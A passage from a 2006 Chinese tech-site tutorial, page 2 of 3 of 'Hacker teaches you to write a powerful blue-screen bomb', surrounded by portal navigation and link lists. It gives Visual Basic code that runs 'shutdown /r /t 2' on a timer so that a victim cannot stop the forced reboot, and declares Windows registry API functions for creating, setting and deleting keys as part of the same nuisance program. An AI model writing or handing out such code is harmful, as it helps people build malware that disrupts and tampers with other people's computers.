中华网通行证
用户名 密码

案例教程:黑客教你编写强力蓝屏炸弹(2)
中华网科技 http://tech.china.com 2006-07-06 14:23:53
进入BBS】【进入聊天室】【 推荐给朋友 】【浏览字号: 】【关闭窗口

  
  那么在XP里自动关机是怎么回事呢?这个就是一个命令就能搞定的(shutdown /r /t 2),就是说,重新启动计算机的倒计时是2秒,这样中招的人就没有办法停止我们的shutdown了,其实到这里就可以算是一个有趣的恶作剧了。实现代码如下:

Private Sub Timer3_Timer()
Shell ("cmd.exe /c shutdown /r /t 2") ‘调用cmd 然后在cmd里输入shutdown /r /t 2就是说设倒计时时间限制为2秒
End Sub
下面说说修改注册表吧,既然要修改注册表,那我们怎么能不调用API呢?当然,曾经在电脑报里也有说不用API就能读写注册表的,但是我想还是让大家用API吧,毕竟API接触多了是件好事。那么就让我来教大家条用API来简便的修改注册表吧,我们先来建一个模块,在里面加入代码:

  Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long)
   As Long ‘这是调用API函数来关闭注册表
  Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA"
   (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long,
   ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long,
  ByVal lpSecurityAttributes As Long, phkResult As Long, lpdwDisposition As Long)
   As Long ‘这是调用AP函数在注册表里创建一个键
  Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA"
  (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long,
  ByVal samDesired As Long, phkResult As Long) As Long
  ‘这是调用api函数打开注册表
  Declare Function RegQueryValueExString
  Lib "advapi32.dll" Alias "RegQueryValueExA"
  (ByVal hKey As Long, ByVal lpValueName As String,
  ByVal lpReserved As Long, lpType As Long, ByVal
  lpData As String, lpcbData As Long) As Long
  Declare Function RegQueryValueExLong
  Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long,
  ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long,
  lpData As Long, lpcbData As Long) As Long
  Declare Function RegQueryValueExNULL
  Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long,
   ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long,
  ByVal lpData As Long, lpcbData As Long) As Long
  Declare Function RegSetValueExString Lib "advapi32.dll" Alias
  "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String,
   ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String,
  ByVal cbData As Long) As Long ‘调用API来设置注册表里的键名
  Declare Function RegSetValueExLong Lib "advapi32.dll" Alias "RegSetValueExA"
  (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long,
   ByVal dwType As Long, lpValue As Long, ByVal cbData As Long) As Long
  Private Declare Function RegDeleteKey& Lib "advapi32.dll" Alias
  "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String)
  ‘调用API删除注册表里的的键
  Private Declare Function RegDeleteValue&
   Lib "advapi32.dll" Alias "RegDeleteValueA"
  (ByVal hKey As Long, ByVal lpValueName As String)
  ‘调用API删除注册表里的的键值

首页 上页 | 1 | 2 | 3 | 下页 尾页  共 3


作者:anqn.com 来源: 


发表言论:
笔  名:
查看评论
﹣相关报道
黑客入侵WindowsXP系统常用七大招数 (2006-07-06 14:18:03)
网上十大经典黑客软件曝光! (2006-06-26 15:48:18)
最经典的黑客新手级入门教材 (2006-05-31 14:21:14)
黑客入侵Win XP常用七大招数 (2006-05-29 16:07:04)

﹣精彩回顾
·揭秘越南姑娘的“性契约”(组图)
·中国研制成功银河麒麟操作系统
·近处偷拍野狮性爱 野草丛中见柔情(图)
·难得一见“水下分娩”全程跟拍(组图)
·古代性器具及性惩罚工具(组图)
·揭密中外历史上乱伦的名人们(组图)
·探秘世界各地诡异的干尸新娘(组图)
·隋唐两个王朝的九大著名"绿帽子"(组图)
·另类的惨烈:螳螂血战壁虎谁更凶猛(图)
·一分钟平静死去 注射死刑全过程(图)

进入BBS】【进入聊天室】【 推荐给朋友 】【浏览字号: 】【关闭窗口


潮流·时尚
·市场上的天价手机全搜罗
·一周降幅最大手机导购
·FM调频收音功能手机选购
·索尼爱立信三新机曝光
·诺基亚N73音乐版精品赏
·热门便携笔记本搜索导购
·近期最新上市机型大盘点
·矩阵Matrix鼠标垫细评测
·19寸20寸22寸液晶该买谁
·近期几款热卖MP3大推荐
·四大即将退市经典MP3选购
·06年最火七大DC缺点曝光
·六百万像素超值机型推荐
·诺基亚推出随身小音箱
·LG直板巧克力KG99评测
·MOTO新机即将国内上市
·超低价蓝牙手机导购
·130万像素一样拍出好照片
·诺基亚两款蓝牙耳机新品
·索爱纯美折叠机Z558评测

软件下载
·豪杰大眼睛 V2.5
·Foxmail V6.5
·天网防火墙Athena
·极品五笔 V6.8
·PPS网络电视
·超级兔子魔法设置
中华网搜索
站内搜索
全网搜索




热门搜索
耳机 印刷 手机 拖鞋
减速机 钟表 成人用品
减肥 枸杞 T恤 升降机
心理 健康 彩票 招聘
礼品 旅游 猎头 培训

产品服务
·机会!机会不容错过
·中华商机,搜索创新
·准确快捷,搜你所搜
·¥来¥往,尽在中华邮
·中华搜索,贴心搜索




科技频道主编信箱